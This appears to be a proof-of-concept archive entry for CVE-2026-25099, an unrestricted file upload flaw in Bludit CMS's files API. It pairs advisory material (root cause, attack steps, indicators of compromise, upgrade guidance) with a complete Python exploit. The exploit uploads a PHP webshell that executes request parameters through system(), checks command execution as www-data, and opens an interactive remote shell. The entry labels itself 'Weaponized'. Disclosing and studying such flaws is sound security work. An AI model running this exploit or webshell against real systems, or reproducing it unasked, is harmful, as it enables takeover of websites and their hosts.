PoC Archive PoC Archive
High CVE-2026-25099 patched

Bludit CMS API Unrestricted File Upload to RCE (CVE-2026-25099)

by Yahia Hamza · 2026-07-05

Severity
High
CVE
CVE-2026-25099
Category
web
Affected product
Bludit CMS (/api/files/<page-key> endpoint)
Affected versions
Bludit < 3.18.4 (fixed in 3.18.4)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherYahia Hamza
CVE / AdvisoryCVE-2026-25099
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagsbludit, cms, file-upload, webshell, rce, php, api-token, cwe-434, authenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemBludit CMS (/api/files/<page-key> endpoint)
Versions AffectedBludit < 3.18.4 (fixed in 3.18.4)
Language / PlatformPython 3 PoC against a PHP/Bludit target
Authentication RequiredYes (valid API token)
Network Access RequiredYes

Summary

Bludit CMS’s POST /api/files/<page-key> endpoint lets any holder of a valid API token upload files to a page without validating file extension or content, so a PHP file can be uploaded and dropped directly under the web-accessible uploads directory. Once uploaded, the file is reachable at a predictable bl-content/uploads/pages/<page-key>/<filename> URL and executes as the web server user (www-data) when requested, giving the attacker full remote code execution. The included Python tool retrieves the target page’s key, uploads a PHP webshell disguised as an allowed file type, verifies code execution, and then offers either single-command execution or a full interactive shell over HTTP.


Vulnerability Details

Root Cause

The uploadFile() function backing the Bludit files API performs no server-side validation of uploaded file extensions or content type, allowing arbitrary file types (including .php) to be stored in a location served directly by the web server.

Attack Vector

  1. Attacker obtains a valid Bludit API token (visible under Plugins → API in the admin panel, or otherwise leaked/guessed).
  2. Attacker queries the API to retrieve the target page’s key.
  3. Attacker uploads a PHP webshell via POST /api/files/<page-key> using the valid token; the file lands unmodified in bl-content/uploads/pages/<page-key>/.
  4. Attacker requests the uploaded file’s URL directly, causing the web server to execute the embedded PHP, confirmed by commands such as id/whoami returning www-data.

Impact

Full remote code execution as the web server user on any Bludit installation older than 3.18.4 where an attacker can obtain an API token, enabling complete site and potentially host compromise.


Environment / Lab Setup

Target:   Bludit CMS < 3.18.4 with the API plugin enabled and a valid API token
Attacker: Python 3, requests library

Proof of Concept

PoC Script

See CVE-2026-25099.py and screenshots/poc-execution.jpg in this folder.

1
2
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN" -c "id"
python3 CVE-2026-25099.py -u http://target -t "API_TOKEN"

The script retrieves the target’s page key via the API, uploads a PHP webshell through the vulnerable files endpoint, requests the uploaded file to confirm command execution as www-data, and then either runs a single supplied command or drops into an interactive shell session over HTTP.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected .php files present under bl-content/uploads/pages/
  • Web server logs showing GET requests to uploaded files returning command output (e.g., uid=33(www-data))
  • API token usage from unfamiliar IP addresses uploading non-media file types

Remediation

ActionDetail
Primary fixUpgrade to Bludit 3.18.4 or later
Interim mitigationDisable the API plugin if not required; enforce a strict file-extension allow-list and disable PHP execution within the uploads directory via web server configuration; monitor /bl-content/uploads/ for unexpected PHP files

References


Notes

Mirrored from https://github.com/yahiahamza/CVE-2026-25099 on 2026-07-05.

CVE-2026-25099.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
# Exploit Title: Bludit CMS < 3.18.4 - API Unrestricted File Upload to RCE
# Date: 2026-03-28
# Exploit Author: Yahia Hamza (https://yh.do)
# Vendor Homepage: https://www.bludit.com/
# Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip
# Version: Bludit < 3.18.4
# Tested on: Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3
# CVE: CVE-2026-25099
#
# Description:
# Bludit CMS API plugin allows an authenticated user with a valid API token
# to upload files of any type and extension via POST /api/files/<page-key>.
# The uploadFile() function performs no file extension or content validation,
# allowing upload of PHP webshells that execute as www-data.
#
# The API token is generated when the API plugin is activated and is visible
# to users with admin panel access. Tokens may also be exposed through
# misconfiguration, log files, or other application vulnerabilities.
#
# Fixed in Bludit 3.18.4.
#
# Usage:
#   python3 CVE-2026-25099.py -u http://target -t API_TOKEN
#   python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c "id"

import argparse
import requests
import sys
import random
import string


def get_page_key(base_url, token):
    """Retrieve a valid page key from the Bludit API."""
    try:
        r = requests.get(
            f"{base_url}/api/pages",
            params={"token": token},
            timeout=10
        )
        if r.status_code == 200:
            data = r.json()
            if data.get("data") and len(data["data"]) > 0:
                return data["data"][0]["key"]
    except requests.RequestException as e:
        print(f"[-] Connection error: {e}")
    return None


def upload_shell(base_url, token, page_key):
    """Upload a PHP webshell via the unrestricted file upload endpoint."""
    shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
    shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'

    try:
        r = requests.post(
            f"{base_url}/api/files/{page_key}",
            data={"token": token},
            files={"file": (shell_name, shell_content, "application/x-php")},
            timeout=10
        )
        if r.status_code == 200:
            data = r.json()
            if data.get("status") == "0":
                shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}"
                return shell_url, shell_name
    except requests.RequestException as e:
        print(f"[-] Upload error: {e}")
    return None, None


def execute_command(shell_url, cmd):
    """Execute a command via the uploaded webshell."""
    try:
        r = requests.get(shell_url, params={"cmd": cmd}, timeout=10)
        if r.status_code == 200 and "<pre>" in r.text:
            return r.text.split("<pre>")[1].split("</pre>")[0].strip()
    except requests.RequestException:
        pass
    return None


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE"
    )
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target)")
    parser.add_argument("-t", "--token", required=True, help="Bludit API token")
    parser.add_argument("-c", "--command", help="Command to execute (omit for interactive shell)")
    args = parser.parse_args()

    base_url = args.url.rstrip("/")

    print("[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE")
    print(f"[*] Target: {base_url}")

    # Step 1: Get page key
    print("[*] Retrieving page key...")
    page_key = get_page_key(base_url, args.token)
    if not page_key:
        sys.exit("[-] Failed to retrieve page key. Check URL and token.")
    print(f"[+] Page key: {page_key}")

    # Step 2: Upload webshell
    print("[*] Uploading webshell...")
    shell_url, shell_name = upload_shell(base_url, args.token, page_key)
    if not shell_url:
        sys.exit("[-] Upload failed.")
    print(f"[+] Shell uploaded: {shell_url}")

    # Step 3: Verify RCE
    print("[*] Verifying RCE...")
    test = execute_command(shell_url, "id")
    if not test:
        sys.exit("[-] RCE verification failed. Shell may not be accessible.")
    print(f"[+] RCE confirmed: {test}")

    # Step 4: Execute command or interactive shell
    if args.command:
        output = execute_command(shell_url, args.command)
        if output:
            print(output)
    else:
        print("\n[+] Interactive shell (type 'exit' to quit)\n")
        while True:
            try:
                cmd = input("shell> ")
                if cmd.strip().lower() in ("exit", "quit"):
                    break
                if not cmd.strip():
                    continue
                output = execute_command(shell_url, cmd)
                if output:
                    print(output)
                else:
                    print("(no output)")
            except (KeyboardInterrupt, EOFError):
                break

    print(f"\n[*] Shell: {shell_url}")


if __name__ == "__main__":
    main()